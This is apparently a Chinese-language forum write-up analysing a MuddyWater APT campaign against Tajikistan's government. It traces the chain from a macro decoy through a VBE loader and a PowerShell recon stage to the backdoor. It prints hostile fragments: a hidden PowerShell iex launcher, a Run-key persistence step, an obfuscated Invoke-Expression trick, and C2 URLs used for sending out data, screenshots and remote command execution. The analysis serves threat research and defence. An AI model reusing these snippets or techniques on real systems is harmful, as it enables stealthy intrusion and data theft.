MuddyWater(污水)APT组织针对塔吉克斯坦的攻击活动的分析
声明:该报告比较长,请各位读者保持耐心,争取将其读完
TAG:高级可持续攻击、APT、MuddyWater、塔吉克斯坦、政府部门、电信供应商、公司简历钓鱼
MuddyWater(又称为污水,T-APT-14)是疑似来自伊朗的APT组织,主要攻击目标为中东地区政府机构。
但在近期的公开报告中显示:18年后,中东以外的地区也陆续出现了Muddywater的活动迹象,比如土耳其、巴基斯坦等地。
该组织最早于2017年9月被MalwareBytes公开披露,同年11月paloalto披露针对中东的攻击,并将该组织命名为MuddyWater,之后活动踪迹开始被国内外安全机构公开披露。
MuddyWater使用诱惑性的鱼叉文档作为攻击入口,引导用户启用宏,利用宏释放后续后续Payload进行攻击。
在早期报道中,MuddyWater主要使用powershell后门,其利用VBS、VBA、PowerShell、Python、C#等脚本后门以及RAT木马。
BlackWater活动的主要发起者,自从BlackWater活动之后MuddyWater APT组织开始不断优化和调整自身的攻击手法。
例如开始不再广泛采用模糊化背景作为诱饵文档,而是做一个假的提示信息图片来遮挡文档正文内容。在恶意宏里面不再通过启动项直接启动powershell载荷,而是使用一个硬编码处理后的VBE文件,将VBE文件写入自启动项,或者将其放入启动文件夹中,在VBE文件中重新释放PowerShell载荷以进行侦查和后门的活动。
第一阶段:诱饵文档
样本信息:
诱饵文档截图如下:
文档中的语言为塔吉克语,通过内容以及诱饵文档的名称,可以大致推断出其目标针对的是塔吉克斯坦政府的采购部门。
其文档的图标正是塔吉克斯塔政府的图标,故此MuddyWater这次攻击的目标基本上确定。
第二阶段:恶意宏代码
1. Document_Open函数
Document_Open函数:frmLoader.show 加载并显示宏项目里内置的窗口。
笔者猜想应该是在窗口里要么通过点击按钮进行载荷植入要么通过关闭窗口进行载荷植入,所以我们顺藤摸瓜定位到窗口处理的函数。
2. 按钮控件消息相应函数
函数buttonQWERTY_Click()调用函数RgSh(id)并传入参数7,frmVisualizer.Show 加载frmVisualizer窗口并弹出,Unload Me 卸载本窗口。
3. RgSh(id)函数
首先会调用PuSH(id)函数并且传入参数ID,依照前面的调用传入的参数为7,然后让变量b为PuSH(id)函数的返回值。
我们会在下文对这个PuSH(id)函数进行分析,这里如果传入参数7的话,变量b为:%Temp%\aulmgr.vbe。通过CallByName函数调用SetStingValue修改注册表键值。
设置的注册表项为:
"Software\Microsoft\Windows\CurrentVersion\Run"
设置的键名称为: "VingValue",VingValue键的键值为变量b 也就是%Temp%\aulmgr.vbe。
4. PuSH(id)函数
p=d3r(4)&fun(1)
这里面引入了两个新的函数,一个为d3r(id),另一个为fun(id),我们会在下文对这个d3r(id)和fun(id)两个函数进行分析。
d3r(4) & fun(1) 返回的路径是%Temp%\aulmgr.vbe。
If id mod 5 = 1 then
如传入Push(id)函数的id与5取余等于1则进行下面的写vbe 文件操作——%Temp%\aulmgr.vbe。
利用CreateTexFiile创造%temp%\aulmgr.vbe文件,读取frmloadr窗口中label控件(1到13)的caption(标题)字符串,并按照从1到13的顺序拼接,存入ddd变量中,将ddd变量内容写入vbe文件中——%Temp%\aulmgr.vbe。
5. d3r(id)函数
set f = createobject(fisa())
这个fisa()函数后面会说到,但是归根结底其实就是返回scripting.filesystemobject这个字符串。
select case (id mod 5)
用传入参数的id数字与5进行取余,其实就是id的数字。因为case的方案里面,最高的数字为5。
Set f = CreateObject("scripting.filesystemobject")
Case 0
d3r = Environ$("puBLiC") '%public% Pulic环境变量路径
Case 1
d3r = Environ$("aPpDaTa") '%AppData% AppData环境变量路径
Case 2
d3r = f.getspecialfolder(0) '%SystemRoot% Windows文件夹
Case 3
d3r = f.getspecialfolder(1) '%SystemRoot%\System32 系统文件夹
Case 4
d3r = f.getspecialfolder(2) '%Temp% 临时目录
Case Else
d3r = "" '返回空值
6. Fun(id)函数
select case (id mod 5)
用传入参数的ID数字与5进行取余,其实就是ID的数字,因为case的方案里面,因为最高的数字为5。
那我们回到PuSH(id)函数中:
p=d3r(4)&fun(1) '%temp%\aulmgr.vbe
7. FisA()函数
通过读取frmlodr窗口中得label控件(14、15)以拼接好字符串scripting.filesystemobject。
并且将这段字符串返回:
至此宏代码中的主要函数功能已经分析完毕。
其最主要的功能为:释放VBE Loader于%temp%\aulmgr.vbe下,将该文件通过修改注册表写入开机启动。
第三阶段:VBE loader
1. 基本信息:
样本截图如下(挺乱码的):
2. VBE loader分析
用scrdec或者Decode VBE工具进行解密,摘取主要的VBS代码进行分析:
如图:VBE文件内置的b字符串(pwershell第一阶段的代码)。
其主要内容为提取VBE文件中自带的Powershell第一阶段的代码,然后通过OpenTextFile函数创建Powershell第一阶段载荷于%public%\\UserImage.png,并且将B变量写入。
然后执行命令powershell /w 1 iex(gc $env:public'\userimage.png')
set fs = CreateObject("Scripting.FileSystemObject")'fs为Scripting.FileSystemObject的对象
Set ts = fs.OpenTextFile(wshShell.ExpandEnvironmentStrings("%public%") &"\UserImage.png", 2, True, -2)'开始就是释放powershell 第一阶段载荷的部分
'路径为%public%\UserImage.png
ts.write(b) '将b的内容写入这个png文件中
wshshell.run("powershell /w 1 iex(gc $env:punlic'\userimage.png')")
'执行命令 powershell /w 1 iex(gc $env:public'\userimage.png')
PowerShell命令如下,窗口隐藏通过gc(Get-Content)命令%public%\\UserImage.png的数据,然后利用iex(Invoke-Expression)命令,内存执行UserImage.png中的数据。
/w : windowstyle #窗口风格
1 : hidden #隐藏
iex : Invoke-Expression #运行命令和表达式
gc : Get–Content #获取指点位置的数据
$env:public #%public%
1. 样本信息:
2. Recon Powershell分析
注意:笔者并没有去掉变量名和函数名混淆,所以其会有一些难懂,请结合图文进行理解。
第一阶段 Recon Powershell:将Recon PowerShell的代码经过Base64编码后存入变量vv,利用以下:
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String解密变量vv,并且将结果存入变量er中。
利用gcm i*v*p*s*n拼凑Invoke-Expression,将变量er传入,内存执行Recon PowerShell第二阶段,如图所示:
利用gcm(Get-Command)模糊拼凑Invoke-Expression命令。
3. Recon PowerShell:
功能1:收集系统信息
1、获取当前用户名称,如下图:
函数名:lTXxzy53
通过获取环境变量%username%来获取当前用户名称,如果失败返回error username字符串。
2、获取用户所在域的名称,如下图:
函数名:EdA4VNZrBAU37Pd7ND
通过%userdomain%环境变量获取用户所在域的名称,如果失败反而error userdomain字符串。
3、遍历进程如下图:
函数名:zokOsMYYZQG1GyNMGDZ
利用ps命令(Process Status)枚举当前用户的进程信息,如果失败则返回error tasklist字符串。
4、遍历桌面文件的文件名,文件大小以及最后编辑时间,如下图:
函数名:UTFhxPjChlXs1OxREdR
通过ls命令遍历出桌面的文件,桌面的路径:%userprofile%\desktop,如果失败返回error ls字符串。
5、获取外网IP地址,如下图 :
函数名:sp169N5
向http://ip–api.com/json下载回显字符串以获得外网ip的目的,如果失败返回error remote IP字符串。
效果如下:
返回结果:
6、收集系统名称,如下图:
函数名:dYUUIGUfLNIoN
调用wmic.exe利用(win32_operatingsystem).name以获取系统名称,如果失败返回error os arch字符串。
如下图,函数名:L82O_u0EwZy
按以下顺序分别调用函数:
lTXxzy53(获取当前用户名称)
EdA4VNZrBAU37Pd7ND(获取用户所在域的名称)
zokOsMYYZQG1GyNMGDZ(遍历进程)
UTFhxPjChlXs1OxREdR(遍历桌面文件的文件名,文件大小以及最后编辑时间)
sp169N5(获取外网IP地址)
dYUUIGUfLNIoN(获取系统名称)
然后将其函数L82O_u0EwZy调用后,使用out-file命令将结果输出到%temp%\\log.txt中。
l82O_u0EWZy | out-file $env:temp\log.txt #收集系统信息,并将其结果输出到%temp%\log.txt中
混淆为了进一步躲避杀软侦查,又声明了一个新的变量叫:m2g9a1mNOtasOaLofMKD,其的内容是:%temp%\log.txt。
也就是录入收集到系统信息的文件。
功能2:将收集到的信息发送请求给C2
再通过GC(Get-Connect)命令读取%temp%\\log.txt的内容。
然后将其通过GetByte命令获取其字符数组,然后将其进行base64的编码后,再将编码后的字符串获取utf–8的字符数组,然后通过POST的方式UploadData(上传数据),将刚刚编码后字符发送到这个指定的地址:
http://185.185.25.175/up1.php?UU={GUID}.
效果如下:
发送报文内容(Base64):
解密字符串:
当前用户用户名以及进程列表信息:
桌面上文件(文件名、最后修改时间、文件长度):
外网IP地址,系统名称:
功能3:循环请求PowerShell Backdoor后门,然后将其下载到本地执行
通过while(1)一直死循环,向c2地址发出请求:
http://185.185.25.175/sDownloads/{GUID}.jpeg
如果其存在则调用DownloadFile下载{GUID}.JPEG文件并另存为%public%\\ieee.dat。
如图所示,一直对PowerShell Backdoor进行请求:
攻击者会对其所感兴趣的受感染机器进行筛选,以植入PowerShell Backdoor,然后调用iex命令去执行gc命令所读取%public%\\ieee.dat中的内容:
第四阶段:PowerShell BackDoor
1. 样本信息:
2.PowerShell Backdoor的分析
(1)第一阶段 PowerShell Backdoor:
利用[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($u));解密变量u;
并且将结果存入变量y中;
利用gcm i*v*p*s*n拼凑Invoke-Expression,将变量y传入,内存执行Recon PowerShell第二阶段;
利用gcm(Get-Command)模糊拼凑Invoke-Expression命令
$y = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($u));
$y | & (gcm i*v*p*s*n);
如图所示:
(2)第二阶段 PowerShell Backdoor:
功能1:信息收集
A. 获取本机的GUID以及标记感染,函数名:CwC1Fafld_XtJSe6wx
首先检查
HKCU:\SOFTWARE\Microsoft\key是否存在,如果存在则利用
Get-ItemProperty获取SecretKey键名的键值。
若不存在则调用New-Item创建新项Key,并且利用$Guid = [guid]::NewGuid().Guid;生成GUID,然后调用Set-ItemProperty创造HKCU:\SOFTWARE\Microsoft\key的SecretKey键,并写入键值{GUID}以标记感染。
B. 获取当前用户名称,函数名:wltJBgnP
通过环境变量%username 失败则返回Username Error
C. 获取系统名称,函数名:VDf4TkTOMy3p_Br8UL5nH
调用wmic.exe利用(win32_operatingsystem).name以获取系统名称,如果失败返回os Name Error字符串,并且将返回结果的所有,替换为:
D. 获取系统位数,函数名:Aj9VVbP5C
调用wmic.exe利用Win32_OperatingSystem).OSArchitecture以获取系统位数,如果失败返回Architecture Error字符串:
E. 获取外网IP地址,函数名:S4xKxH_WG0KMOE
调用D_1smifUAajwThfuQgh函数从https://api.ipify.org/地址上下载回显数据。
如果失败则返回IP Error字符串:
F. 获取当前用户所在用户组,函数名:QTix4hifIA2oQE8g
调用Security.Principal.Identity::GetCurrent()获取当前用户标识。
IsInRole判断用户处于什么用户组,将获取到的本账户用户组和最后管理员的用户组做对比:
如果一样 则返回Admin字符串;
如果不一样 则返回User字符串;
如果没有识别则返回error role字符串;
代码如下:
$UC55RYB_3NieoNp = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()); #获取当前用户标识
$mmMfY1GeC_ZHoT3 = $uC55ryb_3Nieonp.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator); #判断用户组是否处于管理员
if ($mMmFY1GeC_ZHoT3 -eq $TRUe) #如果是返回Admin字符串
{$mMMfY1GeC_zHoT3 = "Admin";
}
else
if ($MMMFy1GEC_zHoT3 -eq $false) #如果不是返回User字符串
{$mMMfy1GEc_zhot3 = "User";
}}catch
{$mMMFY1gEc_zHoT3 = "Error Role";#如果都不是返回Error Role
}return $mMMfY1GEC_zHoT3;
}
利用yKGVMK8K函数,将所收集到的信息进行拼接。
如图:按以下顺序去执行函数CwC1Fafld_XtJSe6wx(获取本机的GUID以及标记感染),wltJBgnP(获取当前用户名称),VDf4TkTOMy3p_Br8UL5nH(获取系统名称),Aj9VVbP5C(获取系统位数),S4xKxH_WG0KMOE(获取外网IP地址),QTix4hifIA2oQE8g(获取当前用户所在用户组)。
将返回结果按照以下的格式进行拼接:
{GUID}:{UserName}:{OS Name} {OS Arch}:{Remote IP Address}:{UserRole}
功能2:向C2发送报文,并接受回显
函数名:n_n9tyYOaI9m6lB,第一个参数是请求的URL地址,第二个参数是发送的内容。
Net.WebRequest::Create(第一个参数:请求的URL地址)
为传入的第一个参数——URL地址,初始化新的webrequest实例。
调用GetSystemWebProxy 使webrequest的代理方案为:模拟当前用户的 Internet Explorer 设置中配置的代理。
利用UTF8.GetByte(第二个参数:发送的内容),将请求的内容转换为utf8编码的字节数组,设置Net.WebRequest的请求方式为POST,设置Net.WebRequest的会话长度为第二个参数转为utf–8编码的字节数组的长度。
如果请求内容的长度大于0,调用Net.WebRequest.GetStreamRequest().Write()去向指定URL发送http请求,以及发送第二个参数中的数据。
之后利用Net.WebRequest.GetResponse()来获取回显。如果回显非空,利用Net.WebRequest.GetResponseStream()获取回显流数据,将返回参数读入io流中,全部读取。然后返回读取的数据。
功能3:下载回显数据
函数名:d_1SmifuaaJWTHfuQgh,参数为URL地址
$jTnFF3U0z = New-Object System.Net.WebClient初始化System.Net.WebClient
$JtnFF3U0z.proxy = [Net.WebRequest]::GetSystemWebProxy()模拟当前用户的 Internet Explorer 设置中配置的代理
$tUSoC9K2dpegti=$jtnFf3U0z.downloadString($XSohPvLsxiYBHLa8bYyj) 利用DownLoadString下载回显
功能4:发送收集到的用户数据并接收后门指令
调用ykGVMk8k函数(收集目标信息)存入变量xGWoj_n
调用CwC1FaFld_xTJSe6Wx函数(获取GUID)存入变量$Guid
向http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=reg&UU="{GUID}发送POST请求,并且发送变量xGWoj_n(目标的信息)的内容。
通过while (1)循环用GET方式请求http://83.171.238.62/command/{GUID}.cmd地址,下载{GUID}.cmd的内容。
如果{GUID}.cmd中的内容不为Error,就调用mUHr7u0HAhhRaXq函数去解析返回数据中的攻击者后门的命令。
功能5:后门指令解析
该PowerShell BackDoor一共有三个主要的后门功能,分别是屏幕截图,Cmd命令执行,任意PowerShell 代码执行。
A. 屏幕截图
函数名:Get-ScreenShot
首先调用VirtualScreen获取虚拟屏幕,New-Object Drawing.BitMap用以初始化一个新的绘制bitmap的对象,CopyFromScreen将屏幕图像拷贝到新创建的绘制图像的对象中。
将图像保存为png图片格式并且将图片数据存入内存流中,将png图片的内存流数据转数组后进行base64编码后返回加密后的值。
B. cmd命令执行
调用cmd /c {cmdline}以执行C2回传的Cmd命令,并利用out-string获取命令执行返回结果。
C. 任意PowerShell代码执行
调用iex函数以执行C2回传的PowerShell代码,并利用out-string获取执行结果。
函数名:MUHr7u0hahhrAxQ解析远控指令并执行,传入的参数是从C2上下载的远控指令。
调用startwith函数摘取screenshot并且执行屏幕截图操作,并且将返回的base64编码后的PNG数据,以Post的方式发送到如下地址http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=sc&i={GUID}.png
调用startwith函数摘取"cmd"字符串以后数据,并且利用replace函数将"cmd"字符串进行替换为空字符串,得到cmd命令。
将获取到的cmd命令用cmd /c执行,并且将返回的结果数据,经过base64编码,将编码后的数据以Post的方式发送到如下地址:
http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=res&R={GUID}。
如果stratwith函数既没有匹配到"cmd"以及“screenshot”字符串,则将其用iex命令执行,如果执行成功,就将执行后的返回结果。
通过base64编码后,将编码数据以Post方式发送到:
http://83.171.238.62/ls.php?TOKEN=Pomy54tvbRetceX&funx=res&R={GUID}地址
如果执行不成功就,发送异常数据到C2:
样本流程图:
由于文章篇幅的问题,今天先到这里,
咱们明天继续!
- End -
看雪ID:CrazymanArmy
https://bbs.pediy.com/user-780480.htm
本文由看雪论坛 CrazymanArmy 原创
转载请注明来自看雪社区
往期热门回顾
﹀
﹀
﹀
京华结交尽奇士,意气相期矜豪纵。今夏与君相约看雪,把酒言欢,共话安全技术江湖梦。
↙点击下方“阅读原文”,查看更多干货